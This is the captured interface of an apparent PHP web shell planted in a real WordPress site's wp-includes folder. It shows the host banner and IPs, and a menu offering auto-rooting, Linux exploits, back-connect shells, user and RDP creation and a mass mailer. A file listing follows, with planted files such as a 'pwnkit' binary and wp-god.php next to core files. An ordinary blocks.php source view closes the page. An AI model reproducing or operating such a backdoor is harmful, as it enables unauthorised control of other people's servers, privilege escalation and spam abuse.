Linux webd123.cluster006.gra.hosting.ovh.net 5.15.162-ovh-vps-grsec-zfs-classid #1 SMP Mon Jul 15 08:28:44 UTC 2024 x86_64
Apache
: 10.6.40.122 | : 216.73.216.128
Cant Read [ /etc/named.conf ]
5.4.45
zouerate
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
zouerate /
adrar.info /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
random_compat
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
.htaccess
291
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
1index.php
15.98
KB
-r--r--r--
admin-bar.php
29.09
KB
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
atomlib.php
11.56
KB
-rw-r--r--
author-template.php
16.23
KB
-rw-r--r--
blocks.php
16.08
KB
-rw-r--r--
bookmark-template.php
12.95
KB
-rw-r--r--
bookmark.php
13.57
KB
-rw-r--r--
cache.php
21.36
KB
-rw-r--r--
canonical.php
27.73
KB
-rw-r--r--
capabilities.php
28.84
KB
-rw-r--r--
category-template.php
50.81
KB
-rw-r--r--
category.php
13.32
KB
-rw-r--r--
class-IXR.php
2.51
KB
-rw-r--r--
class-feed.php
523
B
-rw-r--r--
class-http.php
36.23
KB
-rw-r--r--
class-json.php
39.53
KB
-rw-r--r--
class-oembed.php
30.74
KB
-rw-r--r--
class-phpass.php
7.15
KB
-rw-r--r--
class-phpmailer.php
144.76
KB
-rw-r--r--
class-pop3.php
20.43
KB
-rw-r--r--
class-query.php
35.11
KB
-rw----r--
class-requests.php
29.09
KB
-rw-r--r--
class-simplepie.php
87.17
KB
-rw-r--r--
class-smtp.php
38.55
KB
-rw-r--r--
class-snoopy.php
36.9
KB
-rw-r--r--
class-walker-category-dropdown...
2.08
KB
-rw-r--r--
class-walker-category.php
6.62
KB
-rw-r--r--
class-walker-comment.php
13.33
KB
-rw-r--r--
class-walker-nav-menu.php
8.38
KB
-rw-r--r--
class-walker-page-dropdown.php
2.24
KB
-rw-r--r--
class-walker-page.php
6.79
KB
-rw-r--r--
class-wp-admin-bar.php
16.07
KB
-rw-r--r--
class-wp-ajax-response.php
5.01
KB
-rw-r--r--
class-wp-block-parser.php
14.86
KB
-rw-r--r--
class-wp-block-type-registry.p...
4.63
KB
-rw-r--r--
class-wp-block-type.php
4.7
KB
-rw-r--r--
class-wp-comment-query.php
42.21
KB
-rw-r--r--
class-wp-comment.php
8.75
KB
-rw-r--r--
class-wp-customize-control.php
24.47
KB
-rw-r--r--
class-wp-customize-manager.php
196.99
KB
-rw-r--r--
class-wp-customize-nav-menus.p...
53.08
KB
-rw-r--r--
class-wp-customize-panel.php
9.42
KB
-rw-r--r--
class-wp-customize-section.php
9.99
KB
-rw-r--r--
class-wp-customize-setting.php
27.59
KB
-rw-r--r--
class-wp-customize-widgets.php
64.74
KB
-rw-r--r--
class-wp-dependency.php
2.28
KB
-rw-r--r--
class-wp-editor.php
66.27
KB
-rw-r--r--
class-wp-embed.php
14.39
KB
-rw-r--r--
class-wp-error.php
4.81
KB
-rw-r--r--
class-wp-feed-cache-transient....
2.5
KB
-rw-r--r--
class-wp-feed-cache.php
749
B
-rw-r--r--
class-wp-hook.php
13.77
KB
-rw-r--r--
class-wp-http-cookie.php
6.44
KB
-rw-r--r--
class-wp-http-curl.php
11.65
KB
-rw-r--r--
class-wp-http-encoding.php
6.35
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.25
KB
-rw-r--r--
class-wp-http-proxy.php
5.92
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.83
KB
-rw-r--r--
class-wp-http-requests-respons...
4.19
KB
-rw-r--r--
class-wp-http-response.php
2.8
KB
-rw-r--r--
class-wp-http-streams.php
15.02
KB
-rw-r--r--
class-wp-image-editor-gd.php
14.17
KB
-rw-r--r--
class-wp-image-editor-imagick....
21.27
KB
-rw-r--r--
class-wp-image-editor.php
11.49
KB
-rw-r--r--
class-wp-list-util.php
6.25
KB
-rw-r--r--
class-wp-locale-switcher.php
4.91
KB
-rw-r--r--
class-wp-locale.php
14.26
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.76
KB
-rw-r--r--
class-wp-meta-query.php
22.89
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
5.26
KB
-rw-r--r--
class-wp-network-query.php
16.79
KB
-rw-r--r--
class-wp-network.php
11.93
KB
-rw-r--r--
class-wp-oembed-controller.php
5.88
KB
-rw-r--r--
class-wp-post-type.php
17.81
KB
-rw-r--r--
class-wp-post.php
6.28
KB
-rw-r--r--
class-wp-query.php
124.61
KB
-rw-r--r--
class-wp-rewrite.php
58.42
KB
-rw-r--r--
class-wp-role.php
2.6
KB
-rw-r--r--
class-wp-roles.php
8.13
KB
-rw-r--r--
class-wp-session-tokens.php
7.26
KB
-rw-r--r--
class-wp-simplepie-file.php
2.27
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw-r--r--
class-wp-site-query.php
26.78
KB
-rw-r--r--
class-wp-site.php
7.14
KB
-rw-r--r--
class-wp-tax-query.php
18.98
KB
-rw-r--r--
class-wp-taxonomy.php
11.76
KB
-rw-r--r--
class-wp-term-query.php
33.84
KB
-rw-r--r--
class-wp-term.php
5.14
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
716
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
16.06
KB
-rw-r--r--
class-wp-theme.php
49.42
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.92
KB
-rw-r--r--
class-wp-user-query.php
30.49
KB
-rw-r--r--
class-wp-user.php
22.25
KB
-rw-r--r--
class-wp-walker.php
12.39
KB
-rw-r--r--
class-wp-widget-factory.php
3.69
KB
-rw-r--r--
class-wp-widget.php
17.42
KB
-rw-r--r--
class-wp-xmlrpc-server.php
202.79
KB
-rw-r--r--
class-wp.php
24.17
KB
-rw-r--r--
class.wp-dependencies.php
11.24
KB
-rw-r--r--
class.wp-scripts.php
18.1
KB
-rw-r--r--
class.wp-styles.php
9.61
KB
-rw-r--r--
comment-template.php
87.64
KB
-rw-r--r--
comment.php
111.76
KB
-rw-r--r--
compat.php
15.99
KB
-rw-r--r--
cron.php
30.85
KB
-rw-r--r--
date.php
34.34
KB
-rw-r--r--
default-constants.php
9.61
KB
-rw-r--r--
default-filters.php
24.98
KB
-rw-r--r--
default-widgets.php
2.13
KB
-rw-r--r--
deprecated.php
111.02
KB
-rw-r--r--
embed-template.php
344
B
-rw-r--r--
embed.php
47.26
KB
-rw-r--r--
feed-atom-comments.php
5.34
KB
-rw-r--r--
feed-atom.php
3.09
KB
-rw-r--r--
feed-rdf.php
2.68
KB
-rw-r--r--
feed-rss.php
1.25
KB
-rw-r--r--
feed-rss2-comments.php
4.1
KB
-rw-r--r--
feed-rss2.php
3.77
KB
-rw-r--r--
feed.php
19.3
KB
-rw-r--r--
formatting.php
278.88
KB
-rw-r--r--
functions.php
206.44
KB
-r--r--r--
functions.wp-scripts.php
12.53
KB
-rw-r--r--
functions.wp-styles.php
8.03
KB
-rw-r--r--
general-template.php
139.73
KB
-rw-r--r--
http.php
21.9
KB
-rw-r--r--
indeeex.php
2.73
KB
-rw----r--
indeex.php
0
B
-rw----r--
index.htm
389
B
-r--r--r--
index.html
389
B
-r--r--r--
index.php
2.73
KB
-rw-r--r--
kses.php
57.07
KB
-rw-r--r--
l10n.php
51.73
KB
-rw-r--r--
link-template.php
135.26
KB
-rw-r--r--
load.php
36.37
KB
-rw-r--r--
locale.php
141
B
-rw-r--r--
media-template.php
46.31
KB
-rw-r--r--
media.php
141.98
KB
-rw-r--r--
meta.php
45.11
KB
-rw-r--r--
moe.php.suspected
858
B
-rwxrwxrwx
ms-blogs.php
22.58
KB
-rw-r--r--
ms-default-constants.php
4.67
KB
-rw-r--r--
ms-default-filters.php
6.26
KB
-rw-r--r--
ms-deprecated.php
19.44
KB
-rw-r--r--
ms-files.php
2.59
KB
-rw-r--r--
ms-functions.php
87.1
KB
-rw-r--r--
ms-load.php
19.09
KB
-rw-r--r--
ms-network.php
3.57
KB
-rw-r--r--
ms-settings.php
4.04
KB
-rw-r--r--
ms-site.php
41.41
KB
-rw-r--r--
nav-menu-template.php
21.2
KB
-rw-r--r--
nav-menu.php
42.25
KB
-rw-r--r--
option.php
67.92
KB
-rw-r--r--
php.ini
105
B
-rw----r--
pluggable-deprecated.php
6.12
KB
-rw-r--r--
pluggable.php
97.04
KB
-rw-r--r--
plugin.php
78.29
KB
-rw-r--r--
post-formats.php
6.86
KB
-rw-r--r--
post-template.php
59.27
KB
-rw-r--r--
post-thumbnail-template.php
8.75
KB
-rw-r--r--
post.php
227.4
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query.php
30.82
KB
-rw-r--r--
radio.php
15.98
KB
-r--r--r--
radio.txt
40
B
-rw----r--
registration-functions.php
180
B
-rw-r--r--
registration.php
180
B
-rw-r--r--
rest-api.php
40.67
KB
-rw-r--r--
revision.php
21.08
KB
-rw-r--r--
rewrite.php
17.27
KB
-rw-r--r--
rss-functions.php
193
B
-rw-r--r--
rss.php
22.66
KB
-rw-r--r--
script-loader.php
105.29
KB
-rw-r--r--
session.php
243
B
-rw-r--r--
shortcodes.php
20.26
KB
-rw-r--r--
smtphec.php
58.29
KB
-r--r--r--
spl-autoload-compat.php
2.51
KB
-rw-r--r--
taxonomy.php
152.97
KB
-rw-r--r--
template-loader.php
3.08
KB
-r--r--r--
template.php
19.77
KB
-rw-r--r--
theme.php
99.59
KB
-rw-r--r--
update.php
26.14
KB
-rw-r--r--
user.php
120.71
KB
-rw-r--r--
vars.php
5.61
KB
-rw-r--r--
version.php
761
B
-rw-r--r--
widgets.php
55.84
KB
-rw-r--r--
wlwmanifest.xml
1.02
KB
-rw-r--r--
wp-db.php
99.23
KB
-rw-r--r--
wp-diff.php
662
B
-rw-r--r--
wp-god.php
40.14
KB
-rw----r--
wp-options.php
4.11
KB
-rw----r--
wp-plugin-saver.php
21.98
KB
-rw----r--
wp-secure.php
1.24
KB
-rw----r--
wp-supports.php
4.73
KB
-rw----r--
wp-system-opencloud.php
21.98
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : blocks.php
<?php /** * Functions related to registering and parsing blocks. * * @package WordPress * @subpackage Blocks * @since 5.0.0 */ /** * Registers a block type. * * @since 5.0.0 * * @param string|WP_Block_Type $name Block type name including namespace, or alternatively a * complete WP_Block_Type instance. In case a WP_Block_Type * is provided, the $args parameter will be ignored. * @param array $args { * Optional. Array of block type arguments. Any arguments may be defined, however the * ones described below are supported by default. Default empty array. * * @type callable $render_callback Callback used to render blocks of this block type. * } * @return WP_Block_Type|false The registered block type on success, or false on failure. */ function register_block_type( $name, $args = array() ) { return WP_Block_Type_Registry::get_instance()->register( $name, $args ); } /** * Unregisters a block type. * * @since 5.0.0 * * @param string|WP_Block_Type $name Block type name including namespace, or alternatively a * complete WP_Block_Type instance. * @return WP_Block_Type|false The unregistered block type on success, or false on failure. */ function unregister_block_type( $name ) { return WP_Block_Type_Registry::get_instance()->unregister( $name ); } /** * Determine whether a post or content string has blocks. * * This test optimizes for performance rather than strict accuracy, detecting * the pattern of a block but not validating its structure. For strict accuracy, * you should use the block parser on post content. * * @since 5.0.0 * @see parse_blocks() * * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object. Defaults to global $post. * @return bool Whether the post has blocks. */ function has_blocks( $post = null ) { if ( ! is_string( $post ) ) { $wp_post = get_post( $post ); if ( $wp_post instanceof WP_Post ) { $post = $wp_post->post_content; } } return false !== strpos( (string) $post, '<!-- wp:' ); } /** * Determine whether a $post or a string contains a specific block type. * * This test optimizes for performance rather than strict accuracy, detecting * the block type exists but not validating its structure. For strict accuracy, * you should use the block parser on post content. * * @since 5.0.0 * @see parse_blocks() * * @param string $block_name Full Block type to look for. * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object. Defaults to global $post. * @return bool Whether the post content contains the specified block. */ function has_block( $block_name, $post = null ) { if ( ! has_blocks( $post ) ) { return false; } if ( ! is_string( $post ) ) { $wp_post = get_post( $post ); if ( $wp_post instanceof WP_Post ) { $post = $wp_post->post_content; } } /* * Normalize block name to include namespace, if provided as non-namespaced. * This matches behavior for WordPress 5.0.0 - 5.3.0 in matching blocks by * their serialized names. */ if ( false === strpos( $block_name, '/' ) ) { $block_name = 'core/' . $block_name; } // Test for existence of block by its fully qualified name. $has_block = false !== strpos( $post, '<!-- wp:' . $block_name . ' ' ); if ( ! $has_block ) { /* * If the given block name would serialize to a different name, test for * existence by the serialized form. */ $serialized_block_name = strip_core_block_namespace( $block_name ); if ( $serialized_block_name !== $block_name ) { $has_block = false !== strpos( $post, '<!-- wp:' . $serialized_block_name . ' ' ); } } return $has_block; } /** * Returns an array of the names of all registered dynamic block types. * * @since 5.0.0 * * @return array Array of dynamic block names. */ function get_dynamic_block_names() { $dynamic_block_names = array(); $block_types = WP_Block_Type_Registry::get_instance()->get_all_registered(); foreach ( $block_types as $block_type ) { if ( $block_type->is_dynamic() ) { $dynamic_block_names[] = $block_type->name; } } return $dynamic_block_names; } /** * Given an array of attributes, returns a string in the serialized attributes * format prepared for post content. * * The serialized result is a JSON-encoded string, with unicode escape sequence * substitution for characters which might otherwise interfere with embedding * the result in an HTML comment. * * @since 5.3.1 * * @param array $attributes Attributes object. * @return string Serialized attributes. */ function serialize_block_attributes( $block_attributes ) { $encoded_attributes = json_encode( $block_attributes ); $encoded_attributes = preg_replace( '/--/', '\\u002d\\u002d', $encoded_attributes ); $encoded_attributes = preg_replace( '/</', '\\u003c', $encoded_attributes ); $encoded_attributes = preg_replace( '/>/', '\\u003e', $encoded_attributes ); $encoded_attributes = preg_replace( '/&/', '\\u0026', $encoded_attributes ); // Regex: /\\"/ $encoded_attributes = preg_replace( '/\\\\"/', '\\u0022', $encoded_attributes ); return $encoded_attributes; } /** * Returns the block name to use for serialization. This will remove the default * "core/" namespace from a block name. * * @since 5.3.1 * * @param string $block_name Original block name. * @return string Block name to use for serialization. */ function strip_core_block_namespace( $block_name = null ) { if ( is_string( $block_name ) && 0 === strpos( $block_name, 'core/' ) ) { return substr( $block_name, 5 ); } return $block_name; } /** * Returns the content of a block, including comment delimiters. * * @since 5.3.1 * * @param string $block_name Block name. * @param array $attributes Block attributes. * @param string $content Block save content. * @return string Comment-delimited block content. */ function get_comment_delimited_block_content( $block_name = null, $block_attributes, $block_content ) { if ( is_null( $block_name ) ) { return $block_content; } $serialized_block_name = strip_core_block_namespace( $block_name ); $serialized_attributes = empty( $block_attributes ) ? '' : serialize_block_attributes( $block_attributes ) . ' '; if ( empty( $block_content ) ) { return sprintf( '<!-- wp:%s %s/-->', $serialized_block_name, $serialized_attributes ); } return sprintf( '<!-- wp:%s %s-->%s<!-- /wp:%s -->', $serialized_block_name, $serialized_attributes, $block_content, $serialized_block_name ); } /** * Returns the content of a block, including comment delimiters, serializing all * attributes from the given parsed block. * * This should be used when preparing a block to be saved to post content. * Prefer `render_block` when preparing a block for display. Unlike * `render_block`, this does not evaluate a block's `render_callback`, and will * instead preserve the markup as parsed. * * @since 5.3.1 * * @param WP_Block_Parser_Block $block A single parsed block object. * @return string String of rendered HTML. */ function serialize_block( $block ) { $block_content = ''; $index = 0; foreach ( $block['innerContent'] as $chunk ) { $block_content .= is_string( $chunk ) ? $chunk : serialize_block( $block['innerBlocks'][ $index++ ] ); } if ( ! is_array( $block['attrs'] ) ) { $block['attrs'] = array(); } return get_comment_delimited_block_content( $block['blockName'], $block['attrs'], $block_content ); } /** * Returns a joined string of the aggregate serialization of the given parsed * blocks. * * @since 5.3.1 * * @param WP_Block_Parser_Block[] $blocks Parsed block objects. * @return string String of rendered HTML. */ function serialize_blocks( $blocks ) { return implode( '', array_map( 'serialize_block', $blocks ) ); } /** * Filters and sanitizes block content to remove non-allowable HTML from * parsed block attribute values. * * @since 5.3.1 * * @param string $text Text that may contain block content. * @param array[]|string $allowed_html An array of allowed HTML elements * and attributes, or a context name * such as 'post'. * @param string[] $allowed_protocols Array of allowed URL protocols. * @return string The filtered and sanitized content result. */ function filter_block_content( $text, $allowed_html = 'post', $allowed_protocols = array() ) { $result = ''; $blocks = parse_blocks( $text ); foreach ( $blocks as $block ) { $block = filter_block_kses( $block, $allowed_html, $allowed_protocols ); $result .= serialize_block( $block ); } return $result; } /** * Filters and sanitizes a parsed block to remove non-allowable HTML from block * attribute values. * * @since 5.3.1 * * @param WP_Block_Parser_Block $block The parsed block object. * @param array[]|string $allowed_html An array of allowed HTML * elements and attributes, or a * context name such as 'post'. * @param string[] $allowed_protocols Allowed URL protocols. * @return array The filtered and sanitized block object result. */ function filter_block_kses( $block, $allowed_html, $allowed_protocols = array() ) { $block['attrs'] = filter_block_kses_value( $block['attrs'], $allowed_html, $allowed_protocols ); if ( is_array( $block['innerBlocks'] ) ) { foreach ( $block['innerBlocks'] as $i => $inner_block ) { $block['innerBlocks'][ $i ] = filter_block_kses( $inner_block, $allowed_html, $allowed_protocols ); } } return $block; } /** * Filters and sanitizes a parsed block attribute value to remove non-allowable * HTML. * * @since 5.3.1 * * @param mixed $value The attribute value to filter. * @param array[]|string $allowed_html An array of allowed HTML elements * and attributes, or a context name * such as 'post'. * @param string[] $allowed_protocols Array of allowed URL protocols. * @return array The filtered and sanitized result. */ function filter_block_kses_value( $value, $allowed_html, $allowed_protocols = array() ) { if ( is_array( $value ) ) { foreach ( $value as $key => $inner_value ) { $filtered_key = filter_block_kses_value( $key, $allowed_html, $allowed_protocols ); $filtered_value = filter_block_kses_value( $inner_value, $allowed_html, $allowed_protocols ); if ( $filtered_key !== $key ) { unset( $value[ $key ] ); } $value[ $filtered_key ] = $filtered_value; } } elseif ( is_string( $value ) ) { return wp_kses( $value, $allowed_html, $allowed_protocols ); } return $value; } /** * Parses blocks out of a content string, and renders those appropriate for the excerpt. * * As the excerpt should be a small string of text relevant to the full post content, * this function renders the blocks that are most likely to contain such text. * * @since 5.0.0 * * @param string $content The content to parse. * @return string The parsed and filtered content. */ function excerpt_remove_blocks( $content ) { $allowed_blocks = array( // Classic blocks have their blockName set to null. null, 'core/columns', 'core/freeform', 'core/heading', 'core/html', 'core/list', 'core/media-text', 'core/paragraph', 'core/preformatted', 'core/pullquote', 'core/quote', 'core/table', 'core/verse', ); /** * Filters the list of blocks that can contribute to the excerpt. * * If a dynamic block is added to this list, it must not generate another * excerpt, as this will cause an infinite loop to occur. * * @since 4.4.0 * * @param array $allowed_blocks The list of allowed blocks. */ $allowed_blocks = apply_filters( 'excerpt_allowed_blocks', $allowed_blocks ); $blocks = parse_blocks( $content ); $output = ''; foreach ( $blocks as $block ) { if ( in_array( $block['blockName'], $allowed_blocks, true ) ) { $output .= render_block( $block ); } } return $output; } /** * Renders a single block into a HTML string. * * @since 5.0.0 * * @global WP_Post $post The post to edit. * * @param array $block A single parsed block object. * @return string String of rendered HTML. */ function render_block( $block ) { global $post; /** * Allows render_block() to be shortcircuited, by returning a non-null value. * * @since 5.1.0 * * @param string $pre_render The pre-rendered content. Default null. * @param array $block The block being rendered. */ $pre_render = apply_filters( 'pre_render_block', null, $block ); if ( ! is_null( $pre_render ) ) { return $pre_render; } $source_block = $block; /** * Filters the block being rendered in render_block(), before it's processed. * * @since 5.1.0 * * @param array $block The block being rendered. * @param array $source_block An un-modified copy of $block, as it appeared in the source content. */ $block = apply_filters( 'render_block_data', $block, $source_block ); $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $is_dynamic = $block['blockName'] && null !== $block_type && $block_type->is_dynamic(); $block_content = ''; $index = 0; foreach ( $block['innerContent'] as $chunk ) { $block_content .= is_string( $chunk ) ? $chunk : render_block( $block['innerBlocks'][ $index++ ] ); } if ( ! is_array( $block['attrs'] ) ) { $block['attrs'] = array(); } if ( $is_dynamic ) { $global_post = $post; $block_content = $block_type->render( $block['attrs'], $block_content ); $post = $global_post; } /** * Filters the content of a single block. * * @since 5.0.0 * * @param string $block_content The block content about to be appended. * @param array $block The full block, including name and attributes. */ return apply_filters( 'render_block', $block_content, $block ); } /** * Parses blocks out of a content string. * * @since 5.0.0 * * @param string $content Post content. * @return array Array of parsed block objects. */ function parse_blocks( $content ) { /** * Filter to allow plugins to replace the server-side block parser * * @since 5.0.0 * * @param string $parser_class Name of block parser class. */ $parser_class = apply_filters( 'block_parser_class', 'WP_Block_Parser' ); $parser = new $parser_class(); return $parser->parse( $content ); } /** * Parses dynamic blocks out of `post_content` and re-renders them. * * @since 5.0.0 * @global WP_Post $post The post to edit. * * @param string $content Post content. * @return string Updated post content. */ function do_blocks( $content ) { // If there are blocks in this content, we shouldn't run wpautop() on it later. $priority = has_filter( 'the_content', 'wpautop' ); if ( false !== $priority && doing_filter( 'the_content' ) && has_blocks( $content ) ) { remove_filter( 'the_content', 'wpautop', $priority ); add_filter( 'the_content', '_restore_wpautop_hook', $priority + 1 ); } $blocks = parse_blocks( $content ); $output = ''; foreach ( $blocks as $block ) { $output .= render_block( $block ); } return $output; } /** * If do_blocks() needs to remove wp_autop() from the `the_content` filter, this re-adds it afterwards, * for subsequent `the_content` usage. * * @access private * * @since 5.0.0 * * @param string $content The post content running through this filter. * @return string The unmodified content. */ function _restore_wpautop_hook( $content ) { $current_priority = has_filter( 'the_content', '_restore_wpautop_hook' ); add_filter( 'the_content', 'wpautop', $current_priority - 1 ); remove_filter( 'the_content', '_restore_wpautop_hook', $current_priority ); return $content; } /** * Returns the current version of the block format that the content string is using. * * If the string doesn't contain blocks, it returns 0. * * @since 5.0.0 * * @param string $content Content to test. * @return int The block format version is 1 if the content contains one or more blocks, 0 otherwise. */ function block_version( $content ) { return has_blocks( $content ) ? 1 : 0; }
Close